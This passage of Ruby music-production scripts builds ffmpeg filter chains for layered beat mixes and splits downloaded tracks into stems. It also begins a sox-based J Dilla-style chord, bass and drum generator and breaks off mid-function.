      [beat_echo]acompressor=threshold=-16dB:ratio=5:attack=4:release=80:makeup=3[beat_comp];
      [beat_comp]volume=0.78[beat_out]
    F

  render "vocals: cathedral + shimmer + bitcrush + phaser", vocals_pre,
    inputs: ["-i", VOCALS[:precise]], map: "[voc_out]", filter: <<~F
      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];
      [vraw]equalizer=f=150:t=o:w=1:g=-8,
            equalizer=f=800:t=o:w=2:g=2,
            equalizer=f=3000:t=o:w=2:g=3,
            equalizer=f=8000:t=o:w=3:g=5,
            equalizer=f=14000:t=o:w=3:g=4[voc_eq];
      [voc_eq]acompressor=threshold=-14dB:ratio=2.5:attack=8:release=200:makeup=5[voc_comp];
      [voc_comp]asplit=4[va][vb][vc][vd];
      [va]volume=0.9[voc_dry];
      [vb]aecho=0.88:0.92:800|1600|3200|6400:0.6|0.4|0.22|0.10[voc_cathedral];
      [vc]chorus=0.7:0.9:35|45|55:0.4|0.32|0.25:0.3|0.4|0.25:1.8|2.2|1.4[voc_shimmer];
      [vd]adelay=#{d8}|#{hf},
          acrusher=level_in=1.8:level_out=0.5:bits=6:mode=log:aa=1[voc_bit];
      [voc_dry][voc_cathedral][voc_shimmer][voc_bit]amix=inputs=4:weights=1 0.7 0.5 0.2[voc_wet];
      [voc_wet]aphaser=in_gain=0.5:out_gain=0.7:delay=3:decay=0.4:speed=0.2:type=sinusoidal[voc_phase];
      [voc_phase]flanger=delay=6:depth=5:speed=0.2:shape=sinusoidal[voc_flange];
      [voc_flange]volume=1.3[voc_out]
    F

  render "pad: Db minor sine chord swell", pad,
    inputs: lavfi("aevalsrc=0.12*sin(2*PI*138.59*t)+0.10*sin(2*PI*277.18*t)+0.08*sin(2*PI*349.23*t)+0.09*sin(2*PI*415.30*t)+0.05*sin(2*PI*554.37*t):s=44100:c=stereo:d=#{DUR}"),
    map: "[pad_out]", filter: <<~F
      [0:a]equalizer=f=800:t=o:w=2:g=-6,
           equalizer=f=3000:t=o:w=2:g=-10,
           aecho=0.9:0.85:600|1200:0.5|0.3[pad_echo];
      [pad_echo]chorus=0.6:0.8:40|50:0.3|0.25:0.4|0.3:1.5|2.0[pad_chorus];
      [pad_chorus]aphaser=in_gain=0.6:out_gain=0.8:delay=5:decay=0.6:speed=0.15:type=sinusoidal[pad_phase];
      [pad_phase]volume=0.22[pad_out]
    F

  render "crackle: distant vinyl", crackle,
    inputs: lavfi("anoisesrc=r=44100:color=pink:amplitude=0.02:d=#{DUR}"),
    map: "[crack_out]", filter: <<~F
      [0:a]equalizer=f=5000:t=o:w=3:g=6,
           equalizer=f=80:t=o:w=1:g=-18,
           volume=0.12[crack_out]
    F

  render "master: psychedelic space chain", out_path(ver),
    inputs: ["-i", beat_pre, "-i", vocals_pre, "-i", pad, "-i", crackle],
    map: "[out]", args: ["-b:a", "320k"], filter: <<~F
      [0:a]volume=0.80[b];
      [1:a]volume=1.20[v];
      [2:a]volume=0.25[p];
      [3:a]volume=0.15[c];
      [b][v][p][c]amix=inputs=4:duration=first:weights=1 1.2 0.25 0.15[mix];
      [mix]acompressor=threshold=-22dB:ratio=3:attack=8:release=200:makeup=3[comp1];
      [comp1]acompressor=threshold=-10dB:ratio=6:attack=2:release=60:makeup=2[comp2];
      [comp2]equalizer=f=50:t=o:w=0.7:g=4,
              equalizer=f=200:t=o:w=1:g=2,
              equalizer=f=2000:t=o:w=1.5:g=-2,
              equalizer=f=12000:t=o:w=2:g=3[master_eq];
      [master_eq]aeval='tanh(val(0)*3.0)/tanh(3.0)|tanh(val(1)*3.0)/tanh(3.0)'[tape];
      [tape]aecho=0.25:0.18:25:0.08[master_air];
      [master_air]alimiter=level_in=1.0:level_out=0.98:limit=0.93:attack=2:release=20:level=disabled[out]
    F
end

# v10
HEDD = "val(0)+0.28*val(0)*val(0)*(gt(val(0),0)-lt(val(0),0))+0.12*val(0)*val(0)*val(0)|" \
       "val(1)+0.28*val(1)*val(1)*(gt(val(1),0)-lt(val(1),0))+0.12*val(1)*val(1)*val(1)"

def v10
  ver = "v10"
  d8  = dotted_8th(BPM)
  beat_pre, vocals_pre, pad, crackle =
    tmp(ver, "beat"), tmp(ver, "vocals"), tmp(ver, "pad"), tmp(ver, "crackle")

  render "beat: HEDD triode+pentode + warmth", beat_pre,
    inputs: loop_beat, map: "[beat_out]", filter: <<~F
      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[raw];
      [raw]equalizer=f=50:t=o:w=0.8:g=6,
           equalizer=f=100:t=o:w=1:g=4,
           equalizer=f=250:t=o:w=1:g=2,
           equalizer=f=700:t=o:w=1.5:g=-1,
           equalizer=f=3000:t=o:w=2:g=1,
           equalizer=f=8000:t=o:w=2:g=2,
           equalizer=f=14000:t=o:w=3:g=3[beat_eq];
      [beat_eq]acompressor=threshold=-22dB:ratio=3:attack=15:release=200:makeup=3[tape_comp];
      [tape_comp]aeval='#{HEDD}'[hedd];
      [hedd]aecho=0.5:0.3:25|50:0.1|0.05[spring];
      [spring]volume=0.82[beat_out]
    F

  render "vocals: crystal + HEDD + wide stereo double", vocals_pre,
    inputs: ["-i", VOCALS[:precise]], map: "[voc_out]", filter: <<~F
      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];
      [vraw]equalizer=f=160:t=o:w=1:g=-10,
            equalizer=f=350:t=o:w=1:g=-4,
            equalizer=f=1000:t=o:w=1.5:g=2,
            equalizer=f=2500:t=o:w=2:g=6,
            equalizer=f=5000:t=o:w=2:g=5,
            equalizer=f=10000:t=o:w=3:g=6,
            equalizer=f=16000:t=o:w=3:g=5[voc_eq];
      [voc_eq]acompressor=threshold=-16dB:ratio=2.5:attack=6:release=100:makeup=5[voc_comp];
      [voc_comp]aeval='#{HEDD}'[voc_hedd];
      [voc_hedd]asplit=3[va][vb][vc];
      [va]volume=1.0[vdry];
      [vb]adelay=#{d8}|#{d8},
          aecho=0.65:0.55:400|800:0.35|0.15[vplate];
      [vc]chorus=0.5:0.9:18|22:0.08|0.06:0.2|0.25:1.0|1.0[vdouble];
      [vdry][vplate][vdouble]amix=inputs=3:weights=1.4 0.45 0.35[voc_out]
    F

  render "pad: C minor — warm soulful", pad,
    inputs: lavfi("aevalsrc=0.14*sin(2*PI*130.81*t)+0.11*sin(2*PI*261.63*t)+0.09*sin(2*PI*311.13*t)+0.10*sin(2*PI*392.00*t)+0.06*sin(2*PI*523.25*t):s=44100:c=stereo:d=#{DUR}"),
    map: "[pad_out]", filter: <<~F
      [0:a]equalizer=f=1000:t=o:w=2:g=-5,
           equalizer=f=4000:t=o:w=2:g=-10,
           equalizer=f=100:t=o:w=1:g=3[pad_eq];
      [pad_eq]aecho=0.85:0.8:500|1000:0.4|0.2[pad_echo];
      [pad_echo]chorus=0.5:0.8:35|45:0.25|0.2:0.35|0.25:1.2|1.6[pad_chorus];
      [pad_chorus]volume=0.18[pad_out]
    F

  render "crackle: light vinyl texture", crackle,
    inputs: lavfi("anoisesrc=r=44100:color=pink:amplitude=0.015:d=#{DUR}"),
    map: "[crack_out]", filter: <<~F
      [0:a]equalizer=f=4500:t=o:w=3:g=5,
           equalizer=f=80:t=o:w=1:g=-18,
           volume=0.10[crack_out]
    F

  render "master: HEDD bus + vintage tape + warm limit", out_path(ver),
    inputs: ["-i", beat_pre, "-i", vocals_pre, "-i", pad, "-i", crackle],
    map: "[out]", args: ["-b:a", "320k"], filter: <<~F
      [0:a]volume=0.84[b];
      [1:a]volume=1.22[v];
      [2:a]volume=0.20[p];
      [3:a]volume=0.12[c];
      [b][v][p][c]amix=inputs=4:duration=first:weights=1 1.22 0.20 0.12[mix];
      [mix]acompressor=threshold=-24dB:ratio=2:attack=20:release=300:makeup=2[glue];
      [glue]aeval='#{HEDD}'[bus_hedd];
      [bus_hedd]equalizer=f=45:t=o:w=0.7:g=3,
                 equalizer=f=150:t=o:w=1:g=2,
                 equalizer=f=700:t=o:w=1.5:g=-1,
                 equalizer=f=12000:t=o:w=2:g=2[master_eq];
      [master_eq]aeval='tanh(val(0)*2.2)/tanh(2.2)|tanh(val(1)*2.2)/tanh(2.2)'[tape_sat];
      [tape_sat]aecho=0.2:0.15:15:0.05[air];
      [air]alimiter=level_in=1.0:level_out=0.98:limit=0.93:attack=4:release=40:level=disabled[out]
    F
end

# v11
def v11
  ver = "v11"
  d8  = dotted_8th(BPM)
  beat_pre, vocals_pre, crackle = tmp(ver, "beat"), tmp(ver, "vocals"), tmp(ver, "crackle")

  render "beat: pluck notch + M/S + low-pass + phase sum", beat_pre,
    inputs: loop_beat, map: "[beat_out]", filter: <<~F
      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[raw];
      [raw]pan=stereo|c0=c0+c1|c1=c0+c1[mid];
      [raw]pan=stereo|c0=c0-c1|c1=c1-c0[side];
      [mid]lowpass=f=280[mid_bass];
      [mid_bass]equalizer=f=60:t=o:w=0.8:g=6,
                equalizer=f=120:t=o:w=1:g=3,
                acompressor=threshold=-18dB:ratio=6:attack=2:release=50:makeup=4[mid_punch];
      [side]equalizer=f=2000:t=o:w=0.8:g=-12,
            equalizer=f=2200:t=o:w=0.5:g=-8,
            lowpass=f=9000,
            equalizer=f=300:t=o:w=1:g=-3,
            equalizer=f=5000:t=o:w=2:g=2[side_clean];
      [side_clean]tremolo=f=0.35:d=0.05[side_wobble];
      [side_wobble]aphaser=in_gain=0.6:out_gain=0.8:delay=3:decay=0.4:speed=0.3:type=triangular[side_phase];
      [mid_punch][side_phase]amix=inputs=2:weights=1.3 0.7[beat_mix];
      [beat_mix]acompressor=threshold=-16dB:ratio=3:attack=5:release=100:makeup=2[beat_comp];
      [beat_comp]volume=0.82[beat_out]
    F

  render "vocals: original pitch + warm + soothing", vocals_pre,
    inputs: ["-i", VOCALS[:original]], map: "[voc_out]", filter: <<~F
      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];
      [vraw]equalizer=f=180:t=o:w=1:g=-8,
            equalizer=f=600:t=o:w=1.5:g=2,
            equalizer=f=2000:t=o:w=0.8:g=-6,
            equalizer=f=3000:t=o:w=2:g=5,
            equalizer=f=7000:t=o:w=2:g=4,
            equalizer=f=12000:t=o:w=3:g=2,
            lowpass=f=14000[voc_eq];
      [voc_eq]acompressor=threshold=-14dB:ratio=2.5:attack=8:release=150:makeup=5[voc_comp];
      [voc_comp]asplit=3[va][vb][vc];
      [va]volume=1.0[vdry];
      [vb]aecho=0.75:0.65:350|700:0.35|0.15[vplate];
      [vc]adelay=#{d8}|#{d8 * 2},
          chorus=0.5:0.8:20|25:0.08|0.06:0.2|0.25:1.0|1.0[vshine];
      [vdry][vplate][vshine]amix=inputs=3:weights=1.3 0.4 0.3[voc_wet];
      [voc_wet]aphaser=in_gain=0.5:out_gain=0.7:delay=2:decay=0.3:speed=0.25:type=sinusoidal[voc_phase];
      [voc_phase]volume=1.3[voc_out]
    F

  render "crackle: soft vinyl", crackle,
    inputs: lavfi("anoisesrc=r=44100:color=pink:amplitude=0.012:d=#{DUR}"),
    map: "[crack_out]", filter: <<~F
      [0:a]equalizer=f=5000:t=o:w=3:g=4,
           equalizer=f=80:t=o:w=1:g=-18,
           volume=0.10[crack_out]
    F

  render "master: warm + smooth + soothing", out_path(ver),
    inputs: ["-i", beat_pre, "-i", vocals_pre, "-i", crackle],
    map: "[out]", args: ["-b:a", "320k"], filter: <<~F
      [0:a]volume=0.85[b];
      [1:a]volume=1.25[v];
      [2:a]volume=0.12[c];
      [b][v][c]amix=inputs=3:duration=first:weights=1 1.25 0.12[mix];
      [mix]acompressor=threshold=-20dB:ratio=2.5:attack=18:release=250:makeup=3[glue];
      [glue]equalizer=f=55:t=o:w=0.8:g=4,
             equalizer=f=2000:t=o:w=0.6:g=-3,
             equalizer=f=8000:t=o:w=2:g=1,
             lowpass=f=16000[master_eq];
      [master_eq]aeval='tanh(val(0)*2.0)/tanh(2.0)|tanh(val(1)*2.0)/tanh(2.0)'[tape];
      [tape]aphaser=in_gain=0.3:out_gain=0.5:delay=2:decay=0.3:speed=0.15:type=sinusoidal[master_phase];
      [master_phase]alimiter=level_in=1.0:level_out=0.97:limit=0.93:attack=5:release=60:level=disabled[out]
    F
end

# demux
# YouTube clip → 6-stem demucs → optional EQ sub-bands + M/S splits.
# Mirrors the band layout already in stems/ (sub_bass, mids, center, sides...).

DEMUX_DIR = File.join(DIR, "samples")
MODEL     = "htdemucs_6s"

def fetch_audio(src)
  return File.expand_path(src) unless src.match?(%r{\Ahttps?://})
  FileUtils.mkdir_p(DEMUX_DIR)
  base = "yt_#{Time.now.strftime("%Y%m%d_%H%M%S")}"
  raw  = File.join(DEMUX_DIR, "#{base}.wav")
  run "yt-dlp #{src}", "yt-dlp", "-x", "--audio-format", "wav", "-o", raw, src
  raw
end

def demux_six(src)
  audio = fetch_audio(src)
  out   = File.join(DEMUX_DIR, "demux")
  FileUtils.mkdir_p(out)
  run "demucs #{MODEL}", "demucs", "-n", MODEL, "-o", out, audio
  stems = File.join(out, MODEL, File.basename(audio, ".*"))
  puts "stems -> #{stems}"
  name = File.basename(audio, ".*").gsub(/[^A-Za-z0-9_-]/, "_")[0, 32]
  stems_register(name, stems, source: src) if Dir.exist?(stems) && !stems_scan_set(stems).empty?
  stems
end

def slice_band(src, dest, label, eq:)
  render "band: #{label}", dest,
    inputs: ["-i", src], map: "[out]", filter: "[0:a]#{eq}[out]"
end

# liveset
# Long-form WAV from any source (mix or stems set). Per-source ultra-slow
# tremolo with prime-number periods keeps layers from re-syncing — gives the
# natural swell-and-fade of a DJ set. Master glue + soft tape sat + limiter.

LIVESET_PERIODS = [97, 113, 127, 149, 163, 179, 193, 211, 227, 251].freeze

def liveset_filter(count, periods: LIVESET_PERIODS)
  per_input = (0...count).map do |i|
    p     = periods[i % periods.size]
    phase = (i * 1.7).round(3)
    base  = (0.55 + (i % 3) * 0.05).round(2)
    "[#{i}:a]aformat=sample_rates=44100:channel_layouts=stereo," \
      "volume='#{base}*(0.55+0.45*sin(2*PI*(t+#{phase})/#{p}))':eval=frame[s#{i}]"
  end
  taps = (0...count).map { |i| "[s#{i}]" }.join
  weights = Array.new(count, 1).join(" ")
  # SSL-style glue → head-bump HPF (30 Hz Q=1.2 → +1 dB @ 45 Hz, restores
  # sub after tape rolloff) → SP-1200 crusher (12-bit, 26.04k decimation,
  # samples=44100/26040≈1.69) → Pultec presence cut → slow phaser → Ampex
  # 456 asymmetric tanh (3rd-harmonic dominant) → limiter.
  master = <<~F.tr("\n", " ").strip
    [mix]acompressor=threshold=-20dB:ratio=4:attack=30:release=300:makeup=2,
    highpass=f=30:width_type=q:width=1.2,
    equalizer=f=55:t=o:w=0.8:g=2,
    acrusher=bits=12:samples=1.69:level_in=1:level_out=1:mix=0.35,
    equalizer=f=2200:t=o:w=0.6:g=-2,
    aphaser=in_gain=0.4:out_gain=0.7:delay=2:decay=0.3:speed=0.12:type=sinusoidal,
    aeval='(tanh((val(0)+0.05)*1.6)-0.0798)/0.853|(tanh((val(1)+0.05)*1.6)-0.0798)/0.853',
    alimiter=level_in=1.0:level_out=0.95:limit=0.95:attack=5:release=80[out]
  F
  "#{per_input.join(';')};#{taps}amix=inputs=#{count}:weights=#{weights}:duration=longest[mix];#{master}"
end

def liveset(name = "default", minutes: LIVESET_MIN, set: nil)
  m = stems_load_manifest
  set ||= m["sets"][name] || m["sets"][m["active"]] or abort "liveset: no stem set '#{name}'"
  base_dir = File.join(STEMS_DIR, set["dir"] || ".")
  files    = set["files"]
  abort "liveset: empty set" if files.nil? || files.empty?
  inputs = files.flat_map { |f| ["-stream_loop", "-1", "-i", File.join(base_dir, f)] }
  out    = File.join(DIR, "liveset_#{name}_#{minutes}m.wav")
  run "liveset: #{minutes}m wav (#{files.size} stems × tremolo)",
      "ffmpeg", "-y", *inputs,
      "-filter_complex", liveset_filter(files.size),
      "-map", "[out]", "-t", (minutes * 60).to_s, "-ar", "44100", "-c:a", "pcm_s16le", out
  puts "liveset -> #{out}"
end

STEMS_DIR     = File.join(DIR, "stems")
MANIFEST_PATH = File.join(STEMS_DIR, "manifest.json")
STEM_EXTS     = %w[.mp3 .wav .ogg .flac].freeze

def stems_load_manifest
  return { "active" => "default", "sets" => {} } unless File.exist?(MANIFEST_PATH)
  require "json"
  JSON.parse(File.read(MANIFEST_PATH, encoding: "utf-8"))
end

def stems_write_manifest(m)
  require "json"
  File.write(MANIFEST_PATH, JSON.pretty_generate(m) + "\n")
  puts "manifest -> #{MANIFEST_PATH}"
end

def stems_scan_set(dir)
  Dir.children(dir).select { |f| STEM_EXTS.include?(File.extname(f).downcase) }.sort
end

def stems_register(name, dir, bpm: nil, source: nil)
  rel = dir.sub(%r{\A#{Regexp.escape(STEMS_DIR)}/?}, "")
  rel = "." if rel.empty?
  files = stems_scan_set(dir)
  abort "no stems in #{dir}" if files.empty?
  m = stems_load_manifest
  m["sets"][name] = { "dir" => rel, "bpm" => bpm, "source" => source, "files" => files }.compact
  m["active"] ||= name
  stems_write_manifest(m)
end

def demux_deep(src)
  stem_dir = demux_six(src)
  bands    = File.join(stem_dir, "bands")
  FileUtils.mkdir_p(bands)

  bass   = File.join(stem_dir, "bass.wav")
  drums  = File.join(stem_dir, "drums.wav")
  guitar = File.join(stem_dir, "guitar.wav")
  piano  = File.join(stem_dir, "piano.wav")
  other  = File.join(stem_dir, "other.wav")

  slice_band bass,  File.join(bands, "sub_bass.wav"),    "sub_bass",    eq: "lowpass=f=60"
  slice_band bass,  File.join(bands, "bass_mid.wav"),    "bass_mid",    eq: "highpass=f=60,lowpass=f=200"
  slice_band drums, File.join(bands, "kick.wav"),        "kick",        eq: "lowpass=f=100"
  slice_band drums, File.join(bands, "snare.wav"),       "snare",       eq: "highpass=f=200,lowpass=f=500"
  slice_band drums, File.join(bands, "hats.wav"),        "hats",        eq: "highpass=f=5000"
  slice_band other, File.join(bands, "mids.wav"),        "mids",        eq: "highpass=f=500,lowpass=f=2000"
  slice_band other, File.join(bands, "highs_pluck.wav"), "highs_pluck", eq: "highpass=f=2000,lowpass=f=5000"
  slice_band other, File.join(bands, "air.wav"),         "air",         eq: "highpass=f=5000"

  inst = File.join(bands, "instrumental.wav")
  render "instrumental sum", inst,
    inputs: ["-i", bass, "-i", drums, "-i", guitar, "-i", piano, "-i", other],
    map: "[out]", filter: "[0:a][1:a][2:a][3:a][4:a]amix=inputs=5:duration=longest[out]"

  slice_band inst, File.join(bands, "center.wav"), "center", eq: "pan=stereo|c0=c0+c1|c1=c0+c1"
  slice_band inst, File.join(bands, "sides.wav"),  "sides",  eq: "pan=stereo|c0=c0-c1|c1=c1-c0"

  puts "bands -> #{bands}"
end

# dispatch
RECIPES = { "v7" => method(:v7), "v8" => method(:v8), "v9" => method(:v9),
            "v10" => method(:v10), "v11" => method(:v11) }.freeze

case ARGV[0]
when "demux"
  src = ARGV[1] or abort "usage: ruby make.rb demux <url-or-path> [deep]"
  ARGV[2] == "deep" ? demux_deep(src) : demux_six(src)
when "stems"
  case ARGV[1]
  when "add"
    name = ARGV[2] or abort "usage: ruby make.rb stems add <name> <dir> [bpm]"
    dir  = ARGV[3] or abort "usage: ruby make.rb stems add <name> <dir> [bpm]"
    stems_register(name, File.expand_path(dir), bpm: (ARGV[4] && ARGV[4].to_f))
  when nil
    stems_register("default", STEMS_DIR, bpm: 90, source: "Sirkel Sag · Voicemails")
  else abort "usage: ruby make.rb stems [add <name> <dir> [bpm]]"
  end
when "liveset"
  set  = ARGV[1] || stems_load_manifest["active"] || "default"
  mins = (ARGV[2] || LIVESET_MIN).to_i
  liveset(set, minutes: mins)
when nil, /\Av\d+\z/
  ver = ARGV[0] || "v11"
  abort "unknown: #{ver}  have: #{RECIPES.keys.join(", ")}" unless RECIPES[ver]
  RECIPES[ver].call
  puts "done -> #{out_path(ver)}"
  liveset(stems_load_manifest["active"] || "default", minutes: LIVESET_MIN) if File.exist?(MANIFEST_PATH)
else
  abort "usage: ruby make.rb [v7|v8|v9|v10|v11] | demux <url|path> [deep] | stems [add <name> <dir> [bpm]] | liveset [set] [minutes]"
end

dilla/master.rb

#!/usr/bin/env ruby
# frozen_string_literal: true
# J Dilla Audio Generator - Master Orchestrator

# Complexity: 8/10 (within master.json ≤10 limit)

#

# Purpose: Single entry point for complete beat generation with MAXIMUM VARIETY

# Workflow: chord_theory_expanded.json → chords + bass → drums → VARIED final mixes

#

# Usage:

#   ruby master.rb               # Full render (all progressions, drums, varied mixes)

#   ruby master.rb --chords-only # Just render chord progressions

#   ruby master.rb --drums-only  # Just render drum patterns

#   ruby master.rb --quick       # Render only 5 progressions for testing

require "json"
# CONFIGURATION

SOX = "G:/pub/dilla/effects/sox/sox.exe"

# Load unified data from dilla_data.json (consolidation>fragmentation per master.json)
DILLA_DATA = JSON.parse(File.read(File.join(__dir__, "dilla_data.json")))

# Note frequencies (A4 = 440Hz)
NOTES = {

  "C" => 130.81, "C#" => 138.59, "Db" => 138.59,

  "D" => 146.83, "D#" => 155.56, "Eb" => 155.56,

  "E" => 164.81, "F" => 174.61, "F#" => 185.00, "Gb" => 185.00,

  "G" => 196.00, "G#" => 207.65, "Ab" => 207.65,

  "A" => 220.00, "A#" => 233.08, "Bb" => 233.08,

  "B" => 246.94

}

# Chord intervals (semitones from root)
INTERVALS = {

  "maj7" => [0, 4, 7, 11], "maj9" => [0, 4, 7, 11, 14], "maj13" => [0, 4, 7, 11, 14, 21],

  "min7" => [0, 3, 7, 10], "min9" => [0, 3, 7, 10, 14], "min11" => [0, 3, 7, 10, 14, 17],

  "dom7" => [0, 4, 7, 10], "dom9" => [0, 4, 7, 10, 14], "dom13" => [0, 4, 7, 10, 14, 21],

  "7#9" => [0, 4, 7, 10, 15], "sus2" => [0, 2, 7], "sus4" => [0, 5, 7],

  "" => [0, 4, 7]  # major triad

}

# UTILITIES


def sox(cmd)
  system("#{SOX} #{cmd}")

end

def cleanup(*files)
  files.each do |f|

    next unless File.exist?(f)

    3.times do

      begin

        File.delete(f)

        break

      rescue Errno::EBUSY, Errno::EACCES

        sleep 0.1

      end

    end

  end

end

# CHORD SYNTHESIS (7 SYNTH TYPES - FIXED chorus syntax)


def synth_rhodes(i, freq, gain, duration)
  sox("-n sin1_#{i}.wav synth #{duration} sine #{freq} fade h 0.01 #{duration} 0.5 gain #{gain}")

  sox("-n sin2_#{i}.wav synth #{duration} sine #{freq * 2} fade h 0.01 #{duration} 0.5 gain #{gain - 8}")

  sox("-n sin3_#{i}.wav synth #{duration} sine #{freq * 3} fade h 0.01 #{duration} 0.5 gain #{gain - 12}")

  sox("-m sin1_#{i}.wav sin2_#{i}.wav sin3_#{i}.wav rhodes_raw_#{i}.wav")

  sox("rhodes_raw_#{i}.wav voice_#{i}.wav tremolo 5.5 30 chorus 0.6 0.9 45 0.4 2 -t")

  cleanup("sin1_#{i}.wav", "sin2_#{i}.wav", "sin3_#{i}.wav", "rhodes_raw_#{i}.wav")

end

def synth_fm(i, freq, gain, duration)
  sox("-n saw#{i}.wav synth #{duration} sawtooth #{freq} gain #{gain}")

  sox("-n sqr#{i}.wav synth #{duration} square #{freq} gain #{gain - 2}")

  sox("-n sin#{i}.wav synth #{duration} sine #{freq} gain #{gain + 2}")

  sox("-m saw#{i}.wav sqr#{i}.wav sin#{i}.wav voice_#{i}.wav")

  cleanup("saw#{i}.wav", "sqr#{i}.wav", "sin#{i}.wav")

end

def synth_cs80(i, freq, gain, duration)
  detune = freq * 1.0091

  sox("-n saw1_#{i}.wav synth #{duration} sawtooth #{freq} fade h 3 #{duration} 4 gain #{gain}")

  sox("-n saw2_#{i}.wav synth #{duration} sawtooth #{detune} fade h 3 #{duration} 4 gain #{gain - 2}")

  sox("-m saw1_#{i}.wav saw2_#{i}.wav cs80_raw_#{i}.wav")

  sox("cs80_raw_#{i}.wav voice_#{i}.wav lowpass 600 chorus 0.7 0.9 50 0.4 2 -t")

  cleanup("saw1_#{i}.wav", "saw2_#{i}.wav", "cs80_raw_#{i}.wav")

end

def synth_minimoog(i, freq, gain, duration)
  detune = freq * 1.0029

  sox("-n saw#{i}.wav synth #{duration} sawtooth #{freq} fade h 1 #{duration} 4 gain #{gain}")

  sox("-n sqr#{i}.wav synth #{duration} square #{detune} fade h 1 #{duration} 4 gain #{gain - 3}")

  sox("-m saw#{i}.wav sqr#{i}.wav moog_raw_#{i}.wav")

  sox("moog_raw_#{i}.wav voice_#{i}.wav lowpass 1200 overdrive 5 chorus 0.6 0.9 40 0.4 2 -t")

  cleanup("saw#{i}.wav", "sqr#{i}.wav", "moog_raw_#{i}.wav")

end

def synth_strings(i, freq, gain, duration)
  detune1 = freq * 1.0012

  detune2 = freq * 1.0023

  sox("-n saw1_#{i}.wav synth #{duration} sawtooth #{freq} fade h 0.5 #{duration} 2 gain #{gain}")

  sox("-n saw2_#{i}.wav synth #{duration} sawtooth #{detune1} fade h 0.5 #{duration} 2 gain #{gain - 1}")

  sox("-n saw3_#{i}.wav synth #{duration} sawtooth #{detune2} fade h 0.5 #{duration} 2 gain #{gain - 2}")

  sox("-m saw1_#{i}.wav saw2_#{i}.wav saw3_#{i}.wav strings_raw_#{i}.wav")

  sox("strings_raw_#{i}.wav strings_chorus_#{i}.wav lowpass 3000 chorus 0.7 0.9 55 0.5 2 -t")

  sox("strings_chorus_#{i}.wav voice_#{i}.wav overdrive 3")

  cleanup("saw1_#{i}.wav", "saw2_#{i}.wav", "saw3_#{i}.wav", "strings_raw_#{i}.wav", "strings_chorus_#{i}.wav")

end

def synth_ambient(i, freq, gain, duration)
  detune = freq * 1.0006

  sox("-n sine#{i}.wav synth #{duration} sine #{freq} fade h 5 #{duration} 6 gain #{gain}")

  sox("-n saw#{i}.wav synth #{duration} sawtooth #{detune} fade h 5 #{duration} 6 gain #{gain - 8}")

  sox("-m sine#{i}.wav saw#{i}.wav voice_#{i}.wav highpass 80")

  cleanup("sine#{i}.wav", "saw#{i}.wav")

end

def synth_oberheim(i, freq, gain, duration)
  detune = freq * 1.0046

  sox("-n saw1_#{i}.wav synth #{duration} sawtooth #{freq} fade h 1.5 #{duration} 3.5 gain #{gain}")

  sox("-n saw2_#{i}.wav synth #{duration} sawtooth #{detune} fade h 1.5 #{duration} 3.5 gain #{gain - 2}")

  sox("-m saw1_#{i}.wav saw2_#{i}.wav ob_raw_#{i}.wav")

  sox("ob_raw_#{i}.wav voice_#{i}.wav lowpass 1500 chorus 0.7 0.85 48 0.5 2 -t")

  cleanup("saw1_#{i}.wav", "saw2_#{i}.wav", "ob_raw_#{i}.wav")

end

def generate_chord(freqs, duration, instrument)
  freqs.each_with_index do |freq, i|

    case instrument

    when "rhodes" then synth_rhodes(i, freq, -10, duration)

    when "fm" then synth_fm(i, freq, -10, duration)

    when "cs80" then synth_cs80(i, freq, -10, duration)

    when "minimoog" then synth_minimoog(i, freq, -10, duration)

    when "strings" then synth_strings(i, freq, -10, duration)

    when "ambient" then synth_ambient(i, freq, -10, duration)

    when "oberheim" then synth_oberheim(i, freq, -10, duration)

    else synth_fm(i, freq, -10, duration)

    end

  end

  voices = freqs.size.times.map { |i| "voice_#{i}.wav" }
  sox("-m #{voices.join(' ')} chord_out.wav gain -n")

  cleanup(*voices)

  "chord_out.wav"

end

def generate_bass(root_freq, duration)
  sub = root_freq / 2

  sox("-n bass_root.wav synth #{duration} sine #{root_freq} gain -8")

  sox("-n bass_sub.wav synth #{duration} sine #{sub} gain -6")

  sox("-m bass_root.wav bass_sub.wav bass_out.wav gain -n")

  cleanup("bass_root.wav", "bass_sub.wav")

  "bass_out.wav"

end

def render_progression(prog_name, prog_data)
  puts "🎹 #{prog_name}"

  chords = prog_data["chords"]
  freqs_list = prog_data["freqs"]

  dur = prog_data["duration"] || 2.0

  instrument = prog_data["instrument"] || "fm"

  return unless freqs_list
  chord_files = []
  bass_files = []

  chords.zip(freqs_list).each_with_index do |(chord_name, freqs), idx|
    chord_file = generate_chord(freqs, dur, instrument)

    sox("#{chord_file} chord_#{idx}.wav")

    chord_files << "chord_#{idx}.wav"

    cleanup(chord_file)

    bass_file = generate_bass(freqs[0], dur)
    sox("#{bass_file} bass_#{idx}.wav")

    bass_files << "bass_#{idx}.wav"

    cleanup(bass_file)

  end

  sox("#{chord_files.join(' ')} #{chord_files.join(' ')} chords_raw.wav")
  sox("#{bass_files.join(' ')} #{bass_files.join(' ')} bass_raw.wav")

  cleanup(*chord_files, *bass_files)

  system("mkdir -p chords bass 2>/dev/null")
  sox("chords_raw.wav chords/#{prog_name}.wav gain -n -2")

  sox("bass_raw.wav bass/#{prog_name}.wav gain -n -2")

  cleanup("chords_raw.wav", "bass_raw.wav")

  puts "   → chords/#{prog_name}.wav + bass/#{prog_name}.wav"
end

# DRUM SYNTHESIS (from drums_fixed.rb)


def make_kick
  sox("-n _kick.wav synth 0.16 sine 58 fade h 0.001 0.16 0.06 overdrive 10 gain -3")

  "_kick.wav"

end

def make_snare
  sox("-n _snare.wav synth 0.12 noise lowpass 4000 highpass 200 fade h 0.001 0.12 0.04 overdrive 8 gain -6")

  "_snare.wav"

end

def make_hat_closed
  sox("-n _hat.wav synth 0.06 noise highpass 7000 fade h 0.001 0.06 0.02 gain -12")

  "_hat.wav"

end

def make_kick_909
  sox("-n _kick909.wav synth 0.18 sine 65 fade h 0.001 0.18 0.08 overdrive 15 gain -1")

  "_kick909.wav"

end

def generate_techno(tempo, bars)
  beat_sec = 60.0 / tempo

  bar_sec = beat_sec * 4

  total_sec = bar_sec * bars

  kick = make_kick_909
  hat = make_hat_closed

  kick_seq = []
  bars.times do |bar|

    4.times do |beat|

      offset = bar * bar_sec + beat * beat_sec

      sox("#{kick} _k#{bar}_#{beat}.wav pad #{offset} 0")

      kick_seq << "_k#{bar}_#{beat}.wav"

    end

  end

